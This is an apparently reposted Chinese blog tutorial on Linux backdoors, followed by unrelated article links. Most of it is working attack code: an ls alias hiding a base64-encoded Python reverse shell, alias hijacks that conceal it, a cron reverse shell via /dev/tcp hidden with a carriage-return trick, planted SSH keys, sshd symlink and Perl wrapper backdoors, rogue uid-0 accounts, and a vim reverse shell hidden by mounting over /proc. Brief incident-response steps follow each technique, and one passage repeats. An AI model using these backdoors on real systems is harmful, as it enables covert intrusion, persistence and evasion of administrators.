linux后门教程

news/2024/8/26 17:04:58 标签: linux, 蓝队护网

linux_0">linux后门教程

在这里插入图片描述

alias

用法

系统默认别名：alias

image-20240713134158295

设置别名：alias ls='ls -laih'

image-20240713134247370

删除别名：unalias ls

image-20240713134324983

**加参数：**alias ls=‘ls -laih;pwd’

image-20240713140515561

注意

系统启动默认加载的配置文件

  • /etc/profile

切换用户就会执行/etc/profile

  • /etc/bashrc

bash shell

  • ~/.bashrc

每次打开新的shell时该文件都将被读取

  • ~/.bash_logout

每次退出系统（退出bash shell）时执行该文件

后门

  • 命令
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yMC4xMjgiLCA2NjY2KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts'

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

base64解码内容

image-20240713142045795

执行ls，反弹shell到kali监听的6666端口

目标机器可以看到连接的信息，需要关闭攻击机的ssh，目标机器才会执行在攻击机上的命令

image-20240713143349428

劫持了命令alias，查看显示ls='ls --color=auto'

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 后门隐藏

找一个有迷惑性的目录，修改成类似文件名

image-20240713150855186

插入到自启程序中~/.bashrc

#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f .pki/nss ]; then
    . .pki/nss
fi

image-20240713152958907

stat直接能看出来，修改后门文件，与同目录文件时间相同

image-20240713151345334

touch -acmr nssdb nss

image-20240713151816668

kali用ssh连接执行ls，

image-20240713152908869

反弹shell的监听反应

image-20240713152949161

应急响应

异常连接：netstat -anltp

image-20240713153305233

查看异常pid：ps aux | grep 2019

image-20240713153337866

ppid为1：cat /proc/2019/status

PPID是进程父进程的PID，通常是主要进程

image-20240713153458901

unalias删除后，每次登录都会触发

stat检查时间修改，查找主要进程

找到最近时间修改/etc/profile、/etc/bashrc、~/.bashrc、~/.bash_logout

alias 后门文件删掉即可

crontab

shell文件准备

1.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.20.128/5555 0>&1
#反弹shell到IP地址：192.168.20.128

2.sh

(crontab -l;printf "* * * * * /home/w_w/1.sh;\rno crontw_wab for `whoami`%100c\n")|crontab -
#建立crontab隐藏后门

可执行chmod +x

image-20240713194512420

执行恶意文件2.sh

image-20240713194628787

kali监听

image-20240713205948785

应急响应

netstat -anlpt

image-20240713210510019

查看异常连接PID，bash进程

image-20240713210608435

看bash的父进程，父进程是1151

image-20240713211540972

ps aux | grep 1151

image-20240713211615795

cat /proc/1151/status

image-20240713211728407

ps aux | grep 1149

image-20240713211750019

image-20240713211838295

/usr/sbin/CROND -n 跟网站定时任务有关

image-20240713211858066

定时任务文件位置：/var/spool/cron

cat与crontab -l没看到

使用cat -A 可以显示或vim

  • -A：表示显示所有非打印字符

image-20240713213106862

删掉1.sh即可

ssh公钥免密

CRT生成公钥与私钥

image-20240713220951226

RSA，连接服务器需要设置密码

image-20240713221037025

密钥长度1024

image-20240713221142752

公钥写入

传输到web站点通过wget下载

无authorized_keys时通过ssh-keygen -t rsa生成密钥，开启免密登录

创建文件touch /root/.ssh/authorized_keys

将公钥追加到authorized_keys里

cat Identity.pub >> /root/.ssh/authorized_keys

赋予执行权限

chmod 600 /root/.ssh/authorized_keys

登录

新建连接，选择Properties，选择公钥文件，连接

image-20240713221221280

应急响应

netstat -anlpt

image-20240713222144393

与负责人沟通确定该IP正常情况不能登录服务器

image-20240713222323817

无异常，正常ssh登录，看authorized_keys是否被覆盖

未知用户公钥

image-20240713222427975

看篡改时间，确定是最近篡改的

image-20240713222451476

删除公钥

kill -9 进程

ssh软链接

创建

root用户

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 #ssh软链接
systemctl stop firewalld.service #关闭服务器的防火墙，不然连接不上

此处密码随意

image-20240714115555344

普通用户

echo "
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/wxg

ln -sf /usr/sbin/sshd /tmp/普通用户;/tmp/普通用户 -oPort=14725
systemctl stop firewalld.service #关闭服务器的防火墙，不然连接不上

应急响应

image-20240714120122880

image-20240714120211638

查找su文件，找具体软链接后门

image-20240714120604794

删文件杀进程

image-20240714120722558

增加超级用户账号

第一种情况：可以交互且允许uid=0的用户远程登录

echo "xiao:X:0:0::/:/bin/sh" >> /etc/passwd

  • xiao 是用户名。
  • x 表示密码信息存储在 /etc/shadow 中。
  • 0 是用户 ID，表示该用户是系统中的超级用户或 root 用户。
  • 0 是组 ID，表示该用户属于 root 组。
  • :: 表示没有额外的用户 ID 信息。
  • / 是主目录，表示用户登录后默认工作目录为根目录。
  • /bin/sh 是登录 shell，表示用户登录后默认使用 Bourne shell。

image-20240714122002180

image-20240714122119659

第二种情况：可以交互且不允许uid=0的用户远程登录

只能由普通用户权限

echo "ming:x:1000:1000::/:/bin/sh" >> /etc/passwd

image-20240714122255056

image-20240714122344046

第三种情况：不交互无回显添加Linux密码

useradd hhhh -u 0 -o -g root|| echo "123456" | passwd --stdin hhhh

执行两次

  • useradd 是一个用于创建新用户的命令。
  • hhhh 是要创建的用户名。
  • -u 0 指定用户的 UID 为 0，即 root 用户的 UID。
  • -o 允许分配非唯一 UID。
  • -g root 将用户添加到 root 用户组。
  • passwd --stdin wxg 是用来为用户 wxg 设置密码的命令，其中 --stdin 选项表示从标准输入中读取密码。

image-20240714123212124

image-20240714123458016

应急响应

可以查看远程登录者信息

awk '/\$1|\$6/{print $1}' /etc/shadow

查看特权用户

awk -F: '$3==0 {print$1}' /etc/passwd

  • '$3==0' 是 awk 的模式部分，表示匹配第三个字段等于 0 的行。

  • $3 表示第三个字段 ==0 表示等于零

杀掉练级进程pid，删除非法用户 userdel -rf 强制删除

perl脚本SSH后门

SSH后门源码

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

让靶机从搭建的web服务去下载

image-20240716132052399

将原来的sshd移动到/usr/bin

下载的ssh移动到/usr/sbin，并赋权

重启ssh服务：systemctl restart sshd.service

检测靶机开放端口

image-20240716132500118

控制机：socat STDIO TCP4:192.168.20.137:22,sourceport=31334

image-20240716135105770

应急响应

与管理员确认异常IP连接

image-20240716135241670

正常sshd文件是ELF格式，后门文件是纯文本脚本，file就可以发现

image-20240716135342042

vim+python文件后门-教程

ubuntu20.04的vim支持python3

image-20240716135616631

反弹shell脚本

import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.20.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

让靶机从搭建的web服务去下载

kali开启监听

靶机：vim -E -c "py3file shell.py"

空白说明反弹shell成功

image-20240716140246203

kali

image-20240716140319088

隐藏后门

netstat -anplt直接查到了，还会留空白窗口

命令启动时不显示该窗口

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)

#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备，结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出，“1”在linux中代表标准输出，在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上，在此处也就是将错误输出同样输出到空设备上不进行显示。这样，无论nohup执行结果是否正确，都不会有输出。

隐藏可疑连接

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py

隐藏命令：

mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上，所有对后一个目录的访问其实都是对前一个目录的访问，并且会将前一个目录路径隐藏起来（注意这里只是隐藏不是删除，数据未发生改变，仅仅是无法访问了）。

image-20240716143416490

应急响应

看到有不正常连接，猜测被挂载了

cat /proc/$$/mountinfo

image-20240716143514992

umount /proc/3132取消挂载

image-20240716143746116

kill -9 pid

杀掉进程

SSH Wrapper后门

&) && sleep 2 && rm -f shell.py


**隐藏命令：**

mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上，所有对后一个目录的访问其实都是对前一个目录的访问，并且会将前一个目录路径隐藏起来（注意这里只是隐藏不是删除，数据未发生改变，仅仅是无法访问了）。


[外链图片转存中...(img-M3MftaKZ-1721128228618)]

### 应急响应

看到有不正常连接，猜测被挂载了

`cat /proc/$$/mountinfo`

[外链图片转存中...(img-KzeHBYVX-1721128228618)]

`umount /proc/3132`取消挂载

[外链图片转存中...(img-pNA2fGtG-1721128228618)]

kill -9 pid

杀掉进程

http://www.niftyadmin.cn/n/5558367.html

相关文章

Unsloth 微调 Llama 3

Unsloth 微调 Llama 3

本文参考： https://colab.research.google.com/drive/135ced7oHytdxu3N2DNe1Z0kqjyYIkDXp 改编自：https://blog.csdn.net/qq_38628046/article/details/138906504 文章目录 一、项目说明安装相关依赖下载模型和数据 二、训练1、加载 model、tokenizer2、…
阅读更多...
JS中对象的方括号[]和点.【对象属性的访问和设置】

JS中对象的方括号[]和点.【对象属性的访问和设置】

在 JavaScript 中，可以使用多种方式来访问和设置对象的属性, 包括点表示法和方括号表示法。 点表示法和方括号表示法 点表示法：使用点号（.）来访问或设置对象的属性。方括号表示法：使用方括号（[]&#xff…
阅读更多...
可解释医学视觉问答的反事实因果干预| 文献速递-基于深度学习的多模态数据分析与生存分析

可解释医学视觉问答的反事实因果干预| 文献速递-基于深度学习的多模态数据分析与生存分析

Title 题目 Counterfactual Causal-Effect Intervention for Interpretable Medical Visual Question Answering 可解释医学视觉问答的反事实因果干预 01 文献速递介绍 深度学习的进步在计算机视觉、自然语言处理和信息检索领域成功地取得了最先进的（SOTA&…
阅读更多...
【Leetcode】二十一、前缀树 + 词典中最长的单词

【Leetcode】二十一、前缀树 + 词典中最长的单词

文章目录 1、背景2、前缀树Trie3、leetcode208：实现Trie4、leetcode720：词典中最长的单词 1、背景 如上，以浏览器搜索时的自动匹配为例： 如果把所有搜索关键字放一个数组里，则：插入、搜索一个词条时&#x…
阅读更多...
树莓派docker自制镜像

树莓派docker自制镜像

挂载img文件到目录 cd /a/img tar -czvf rr.tar.gz ./ docker import tt.tar.gz rootpi:/home/pi/2# docker tag ff142da9042f arm7:v01 rootpi:/home/pi/2# docker images REPOSITORY TAG IMAGE ID CREATED SIZE arm7 …
阅读更多...
海外媒体发稿：葡萄牙-实现高效媒体软文发稿计划-大舍传媒

海外媒体发稿：葡萄牙-实现高效媒体软文发稿计划-大舍传媒

一、葡萄牙媒体环境概述 葡萄牙，位于欧洲大陆西南端的国家，拥有丰富的文化和历史。在这个国家，媒体行业也有着相当大的影响力。葡萄牙的媒体环境多元化，包括电视、广播、报纸、杂志和互联网等各个领域。 二、葡萄牙媒体发稿的重…
阅读更多...
亲子母婴行业媒体邀约宣发资源

亲子母婴行业媒体邀约宣发资源

传媒如春雨，润物细无声，大家好，我是51媒体网胡老师。 亲子母婴行业是一个综合性的产业，涉及多个领域，包括儿童食品，儿童玩具，服装，洗护，月子中心，母婴护理&a…
阅读更多...
神经网络参数初始化的常见方法

神经网络参数初始化的常见方法

参数初始化 bias偏置：直接初始化为0 weight权重： 随机初始化 在高斯分布的数据中随机采样 标准初始化 在均匀分布的随机数中采样 Xavier初始化 该方法的基本思想是各层的激活值和梯度的方差在传播过程中保持一致，也叫做Glorot初始化。 正态…
阅读更多...
最新文章

Copyright @ 2022~2023